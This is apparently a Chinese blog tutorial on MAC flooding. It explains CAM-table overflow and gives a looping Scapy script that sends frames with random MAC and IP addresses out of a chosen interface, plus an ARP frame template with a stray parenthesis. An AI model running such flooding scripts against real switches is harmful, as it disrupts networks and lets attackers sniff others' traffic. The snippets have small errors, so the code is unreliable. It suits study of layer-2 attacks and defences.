MAC泛洪攻击

最新推荐文章于 2025-02-27 21:44:19 发布

原创最新推荐文章于 2025-02-27 21:44:19 发布 · 1.2k 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#攻击 mac泛洪

本文介绍了一种网络攻击手段——MAC泛洪攻击，并通过Python脚本详细展示了如何利用Scapy库构造并发送用于MAC泛洪的数据包，进而使交换机的CAM表溢出，导致正常的单播流量被错误地作为广播流量处理。

PC不断发送去往未知目的地的数据帧，且每个包的源MAC地址都不同，当这样的数据包发送的速度足够快之后，快到在刷新时间内将交换机的地址表迅速填满。CAM表被这些伪造的MAC地址占据，真实的MA C地址条目却无法进入CAM表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。在刷新前不能容纳更多的mac地址池

尝试用python编写一个攻击脚本

首先用scapy这个模块，这个模块中有RandIP RandMAC两个函数

from scapy.all import *


print RandMAC()

print RandIP(“192.168.0.*”)#指定网段

接下来发送形式如下ARP包

Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))

import sys

from scapy.all import *

import time

 

iface="eth0"

if len(sys.argv)>=2:

    iface=sys.argv[1]

while(1):

    packet= Ether(src=RandMAC("*:*:*:*:*:*"),

                  dst=RandMAC("*:*:*:*:*:*")) / \

    IP(src=RandIP("*.*.*.*"),

    dst=RandIP("*.*.*.*")) / \

    ICMP()

    time.sleep(0.5)

    sendp(packet,iface=iface,loop=0)